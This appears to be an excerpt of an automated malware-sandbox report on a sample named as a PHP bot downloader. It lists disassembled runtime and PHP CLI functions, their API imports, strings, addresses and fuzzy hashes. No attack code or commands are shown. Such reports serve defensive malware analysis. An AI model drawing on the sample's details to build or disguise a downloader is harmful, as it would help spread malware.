Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Concurrency::details::EmptyQueue::StructuredWork$ByteCharMultiWide
String ID:
API String ID: 1905860291-0
Opcode ID: 91c885f1ed7c398c143790881fd7269a35970c0f20e153e479f042c199767ddd
Instruction ID: dae29ac0aadcc9d89159339ad3682d3e1a60e4d5cab3ac3d14777b8333730b12
Opcode Fuzzy Hash: 91c885f1ed7c398c143790881fd7269a35970c0f20e153e479f042c199767ddd
Instruction Fuzzy Hash: 0431D232608B8186E760DB61F89136AB7B1FBCA790F144025EACE97F69CF7DD4448B40

Function 00007FF658E31B70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF658E31B9A

Strings

csm, xrefs: 00007FF658E31D2E
csm, xrefs: 00007FF658E31BBF

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 404a9135640a8f7f54d37a04beb7c3e6f233d7359f0259a9d02a603aba63125e
Instruction ID: c418a444317cfa419807d8955dc83894f0be3a78bdb4263e8cdb19d93b24828e
Opcode Fuzzy Hash: 404a9135640a8f7f54d37a04beb7c3e6f233d7359f0259a9d02a603aba63125e
Instruction Fuzzy Hash: 8E71B032A086A186D7619B35D8507787BB0EB41B85F188139EE8DA7EA5CF3CED51C708

Function 00007FF658E321A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF658E3224A
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF658E32276

Strings

csm, xrefs: 00007FF658E32376

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: 1c721bbbd8e777f36c6cc2bd9560ee61d12da688ad8cdf309b9f1736de0cb18d
Instruction ID: bad8b48d99603d2ebfd2e409f7906cdeb563f0b7426deb7aad86acae0a84c6c6
Opcode Fuzzy Hash: 1c721bbbd8e777f36c6cc2bd9560ee61d12da688ad8cdf309b9f1736de0cb18d
Instruction Fuzzy Hash: 7F514E3261875286D630AB25E44166E77B4FB89B91F180134EF8DA7F95CF3CE860CB08

Function 00007FF658E3DB70 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF658E3DC87
GetLastError.KERNEL32 ref: 00007FF658E3DCA9

Strings

U, xrefs: 00007FF658E3DC33

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: a0f11becec26ba6bae5434212c82596bc3616d2c9da31df36dc0d9d8acdd98d0
Instruction ID: e7effa1ed33e2029b468204aa62b48fab4ad06fe5f7d343be8fef0a94fd317bb
Opcode Fuzzy Hash: a0f11becec26ba6bae5434212c82596bc3616d2c9da31df36dc0d9d8acdd98d0
Instruction Fuzzy Hash: 1D41A262B28A5592EB109F25E8443BA67A0FB847D4F584031EE4ED7B54DF7CE841C744

Function 00007FF658E27340 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

char_traits.LIBCPMTD ref: 00007FF658E273C2
codecvt.LIBCPMTD ref: 00007FF658E27413

Strings

, xrefs: 00007FF658E273D5

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: char_traitscodecvt
String ID:
API String ID: 1910604377-3916222277
Opcode ID: 2dd3740d5249f2c62e4c90f57524142d6cc40dfa49b5c8a418a949c9a5b698f7
Instruction ID: fb5a607126b0025f1c457294a743d96e68acb25c3d8616409cb4316059a30db8
Opcode Fuzzy Hash: 2dd3740d5249f2c62e4c90f57524142d6cc40dfa49b5c8a418a949c9a5b698f7
Instruction Fuzzy Hash: 50413D3661C79685EB60DB65E8403AABBB0FB85780F541036EACE97BA5DF3CD404CB05

Function 00007FF658E41564 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

_handle_errorf.LIBCMT ref: 00007FF658E416D6

Strings

", xrefs: 00007FF658E41681
powf, xrefs: 00007FF658E416CF

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: _handle_errorf
String ID: "$powf
API String ID: 2315412904-603753351
Opcode ID: 94346845e00dcb021cfd9d151cd7c1a9e33051b68457ee6bae33f092f3bb43df
Instruction ID: 652e5b4706f44f077bb3a7f58ca23e28fbd4b4c18e4162de5a9ea3c959a859d9
Opcode Fuzzy Hash: 94346845e00dcb021cfd9d151cd7c1a9e33051b68457ee6bae33f092f3bb43df
Instruction Fuzzy Hash: 6B414E739286809BD770CF22E4847AAB6B0F7D9348F141325F78952DA8DF7DC5509B44

Function 00007FF658E41440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF658E41552

Strings

", xrefs: 00007FF658E4152B
pow, xrefs: 00007FF658E41541

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: _handle_error
String ID: "$pow
API String ID: 1757819995-713443511
Opcode ID: 18bb7e5ff252db6465d734b38d379b2326193d5b75f0119f085d7f01c8dee49a
Instruction ID: c388257d8c2726bb283a27f8a78b44a5f814d64699e5de1152fdf58f6a70fe35
Opcode Fuzzy Hash: 18bb7e5ff252db6465d734b38d379b2326193d5b75f0119f085d7f01c8dee49a
Instruction Fuzzy Hash: F9317E72D1CA8586DB70CF20E44076ABAB0FBDA344F241325F2CA56E68CFBCD1859B04

Function 00007FF658E3C964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF658E3C99D
LCMapStringW.KERNEL32 ref: 00007FF658E3CA25

Strings

LCMapStringEx, xrefs: 00007FF658E3C991

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 40f5e49a73b40da07dda49c01dbf914b70ab7ba69007a2c058d022de3b93caf6
Instruction ID: 18d4597b900ef060483f7a8c586c8ffe6f6050b922ef004c061191aeaf4f7ac3
Opcode Fuzzy Hash: 40f5e49a73b40da07dda49c01dbf914b70ab7ba69007a2c058d022de3b93caf6
Instruction Fuzzy Hash: 99112C32608B9186D760CB56B4402AAB7A4FBC9B94F184136EACDA3B29CF3CD4418B44

Function 00007FF658E2E950 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF658E2DB3F), ref: 00007FF658E2E994
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF658E2DB3F), ref: 00007FF658E2E9DA

Strings

csm, xrefs: 00007FF658E2E9C7

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 83a53ae3cd862f171245188b4110203019df74db5151c77d8265a2f12c31ea52
Instruction ID: 5a040cec4db218d7ec2e9353db8418854d718842f330b4543e2001c3d3a96ee5
Opcode Fuzzy Hash: 83a53ae3cd862f171245188b4110203019df74db5151c77d8265a2f12c31ea52
Instruction Fuzzy Hash: FD116D32608B5682EB508F25E800269B7B0FB88B84F1C4231DECE57B69DF3DD451CB04

Function 00007FF658E3C7D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF658E3C7FD
GetUserDefaultLCID.KERNEL32(?,?,000000A0,00007FF658E44F74), ref: 00007FF658E3C814

Strings

GetUserDefaultLocaleName, xrefs: 00007FF658E3C7E0, 00007FF658E3C7EA

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: DefaultUsertry_get_function
String ID: GetUserDefaultLocaleName
API String ID: 3217810228-151340334
Opcode ID: 7293fa983b561e1e071c1a512e3bae233e7d67415cb892b555dc4b5711bc101c
Instruction ID: c7ff890392c62ce6f0e73ac1580ff1827bab03e2f6e32933ffb4a86f7315f79f
Opcode Fuzzy Hash: 7293fa983b561e1e071c1a512e3bae233e7d67415cb892b555dc4b5711bc101c
Instruction Fuzzy Hash: ECF05E51F0879292FB149B76F6405B922B1AF88780F9C4035D90DA6E65CE3CFD45C348

Function 00007FF658E3C838 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF658E3C869
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,-00000018,00007FF658E3D32A,?,?,?,00007FF658E3D222,?,?,?,00007FF658E35D0D), ref: 00007FF658E3C883

Strings

InitializeCriticalSectionEx, xrefs: 00007FF658E3C85D

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 02f47dab28cc1ee76c1820b5ee4f0c086afb345b0d24a7a50c2fa0fc933033c0
Instruction ID: f5fd465ddee94f5e29556b5f5fb77d30011b2597b8acdeb7c5da5ca897d07b67
Opcode Fuzzy Hash: 02f47dab28cc1ee76c1820b5ee4f0c086afb345b0d24a7a50c2fa0fc933033c0
Instruction Fuzzy Hash: 83F03A22E0876181EB049BB1B5404A92231AF88B80F9C5435DA5D73F65CE3CE9558748

Function 00007FF658E3C6FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF658E3C725
TlsSetValue.KERNEL32(?,?,?,00007FF658E3C0EA,?,?,?,00007FF658E35E2D,?,?,?,?,00007FF658E3C1F1), ref: 00007FF658E3C73C

Strings

FlsSetValue, xrefs: 00007FF658E3C712

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: d39b02e3ad21c7a7da89b39418bbdd8ef63acd5140413a85500780d64ec3081d
Instruction ID: b2d8cf033609d1464dee9bfa33c561a7dcac301da89c1624f2c0e910e53b04c3
Opcode Fuzzy Hash: d39b02e3ad21c7a7da89b39418bbdd8ef63acd5140413a85500780d64ec3081d
Instruction Fuzzy Hash: 72E06D62A0871291FA084B71F8000B92232BFC8780F9C4036DA5DB6EA6CF3CFC94C308

Analysis Process: php.exePID: 9208, Parent PID: 9160COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.8%
Total number of Nodes:	681
Total number of Limit Nodes:	76

Executed Functions

Function 00007FF7498C1B10 Relevance: 124.8, APIs: 56, Strings: 15, Instructions: 536
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C1BDC
php_getopt.PHP8TS ref: 00007FF7498C1C8A
php_getopt.PHP8TS ref: 00007FF7498C1CD8
php_getopt.PHP8TS ref: 00007FF7498C1D31
get_zend_version.PHP8TS ref: 00007FF7498C1DAB
php_printf.PHP8TS ref: 00007FF7498C1DEA
sapi_deactivate.PHP8TS ref: 00007FF7498C1DF0
php_request_startup.PHP8TS ref: 00007FF7498C1DFB
php_printf.PHP8TS ref: 00007FF7498C1E19
_zend_hash_init@@32.PHP8TS ref: 00007FF7498C1E30
zend_hash_copy@@24.PHP8TS ref: 00007FF7498C1E47
zend_hash_sort_ex@@32.PHP8TS ref: 00007FF7498C1E65
php_printf.PHP8TS ref: 00007FF7498C1E98
zend_hash_destroy@@8.PHP8TS ref: 00007FF7498C1EAE
php_printf.PHP8TS ref: 00007FF7498C1EBB
zend_llist_copy.PHP8TS ref: 00007FF7498C1ECF
zend_llist_sort.PHP8TS ref: 00007FF7498C1EEC
zend_llist_apply.PHP8TS ref: 00007FF7498C1F00
zend_llist_destroy.PHP8TS ref: 00007FF7498C1F0D
php_printf.PHP8TS ref: 00007FF7498C1F1A
php_output_end_all.PHP8TS ref: 00007FF7498C1F20
php_request_startup.PHP8TS ref: 00007FF7498C1F40
php_print_info.PHP8TS ref: 00007FF7498C1F5C
php_output_end_all.PHP8TS ref: 00007FF7498C1F62
zend_destroy_file_handle.PHP8TS ref: 00007FF7498C2419
php_request_shutdown.PHP8TS ref: 00007FF7498C2429
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C243B
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C244C
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2460
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C2470
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C247A
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C2483
virtual_cwd_activate.PHP8TS ref: 00007FF7498C250B
virtual_fopen.PHP8TS ref: 00007FF7498C251B
php_printf.PHP8TS ref: 00007FF7498C2530
zend_stream_init_fp.PHP8TS ref: 00007FF7498C2545
virtual_realpath.PHP8TS ref: 00007FF7498C2559
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7498C256B
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C25A3
zend_stream_init_fp.PHP8TS ref: 00007FF7498C25B7
php_request_startup.PHP8TS ref: 00007FF7498C2646
php_output_write.PHP8TS ref: 00007FF7498C2664
sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675
zend_register_bool_constant.PHP8TS ref: 00007FF7498C26E7
zend_is_auto_global.PHP8TS ref: 00007FF7498C274C

Strings

15:25:31, xrefs: 00007FF7498C1DDE
PHP %s (%s) (built: %s %s) (%s)Copyright (c) The PHP Group%s, xrefs: 00007FF7498C1DD7
Sep 26 2023, xrefs: 00007FF7498C1DB8
Finished execution, repeating..., xrefs: 00007FF7498C2469
ZTS Visual C++ 2019 x64, xrefs: 00007FF7498C1DCB
[PHP Modules], xrefs: 00007FF7498C1E0A
Could not open input file: %s, xrefs: 00007FF7498C2529
Interactive shell, xrefs: 00007FF7498C2384
%s, xrefs: 00007FF7498C1E8D
Could not startup., xrefs: 00007FF7498C2655
PHP_CLI_PROCESS_TITLE, xrefs: 00007FF7498C26D4
8.2.11, xrefs: 00007FF7498C1DC4
Executing for the first time..., xrefs: 00007FF7498C23BD
Standard input code, xrefs: 00007FF7498C2588, 00007FF7498C25AC
[Zend Modules], xrefs: 00007FF7498C1EB4

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: php_printf$__acrt_iob_funcphp_getoptphp_request_startup$_getpidphp_output_end_allsapi_deactivatezend_stream_init_fp$_strdup_zend_hash_init@@32fflushfprintffreeget_zend_versionphp_output_writephp_print_infophp_request_shutdownvirtual_cwd_activatevirtual_fopenvirtual_realpathzend_destroy_file_handlezend_hash_copy@@24zend_hash_destroy@@8zend_hash_sort_ex@@32zend_ini_deactivatezend_is_auto_globalzend_llist_applyzend_llist_copyzend_llist_destroyzend_llist_sortzend_register_bool_constant
String ID: [Zend Modules]$%s$15:25:31$8.2.11$Could not open input file: %s$Could not startup.$Executing for the first time...$Finished execution, repeating...$Interactive shell$PHP %s (%s) (built: %s %s) (%s)Copyright (c) The PHP Group%s$PHP_CLI_PROCESS_TITLE$Sep 26 2023$Standard input code$ZTS Visual C++ 2019 x64$[PHP Modules]
API String ID: 3507818244-273433681
Opcode ID: 2dd6b8cd20865020332e33e677d92a6217c471f526988be5374fc274d9a3640b
Instruction ID: 8578b91d9d29d8727435965ef985c708a7ece50096dc5d665f7acf6c257453a2
Opcode Fuzzy Hash: 2dd6b8cd20865020332e33e677d92a6217c471f526988be5374fc274d9a3640b
Instruction Fuzzy Hash: A152E332A08B46C5EB10BF69E8947A9B7B8FB48798F904136DA4E437A4DF3CE454C750

Function 00007FF7498C3050 Relevance: 61.6, APIs: 34, Strings: 1, Instructions: 363
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

php_win32_console_fileno_set_vt100.PHP8TS ref: 00007FF7498C30EA
php_win32_console_fileno_set_vt100.PHP8TS ref: 00007FF7498C30F8
php_tsrm_startup.PHP8TS ref: 00007FF7498C310C
tsrm_get_ls_cache.PHP8TS ref: 00007FF7498C312B
__p__fmode.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C3139
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C3147
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C3150
_setmode.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C315D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C3168
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C3171
_setmode.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C317E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C3189
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C3192
_setmode.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C319F
php_getopt.PHP8TS ref: 00007FF7498C31D9
sapi_startup.PHP8TS ref: 00007FF7498C32E6
php_ini_builder_prepend.PHP8TS ref: 00007FF7498C331F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C34CC
php_module_shutdown.PHP8TS ref: 00007FF7498C34E2
sapi_shutdown.PHP8TS ref: 00007FF7498C34ED
tsrm_shutdown.PHP8TS ref: 00007FF7498C34F3
php_win32_cp_cli_do_restore.PHP8TS ref: 00007FF7498C34FB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C3513
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C3526
LocalFree.KERNEL32 ref: 00007FF7498C3530
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C3546

Strings

html_errors=0register_argc_argv=1implicit_flush=1output_buffering=0max_execution_time=0max_input_time=-1, xrefs: 00007FF7498C3314

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func_fileno_setmodefree$php_win32_console_fileno_set_vt100$FreeLocal__p__fmodeexitphp_getoptphp_ini_builder_prependphp_module_shutdownphp_tsrm_startupphp_win32_cp_cli_do_restoresapi_shutdownsapi_startuptsrm_get_ls_cachetsrm_shutdown
String ID: html_errors=0register_argc_argv=1implicit_flush=1output_buffering=0max_execution_time=0max_input_time=-1
API String ID: 305676487-87643557
Opcode ID: f4cebb72dd500258a0e330d1e8e58d1e2ced59ca17baeb36faa32f8930b498ab
Instruction ID: 5a0dbdeca6a05e4626ee4e6e840612214593162d544f7b5ebe6b4844671c7c19
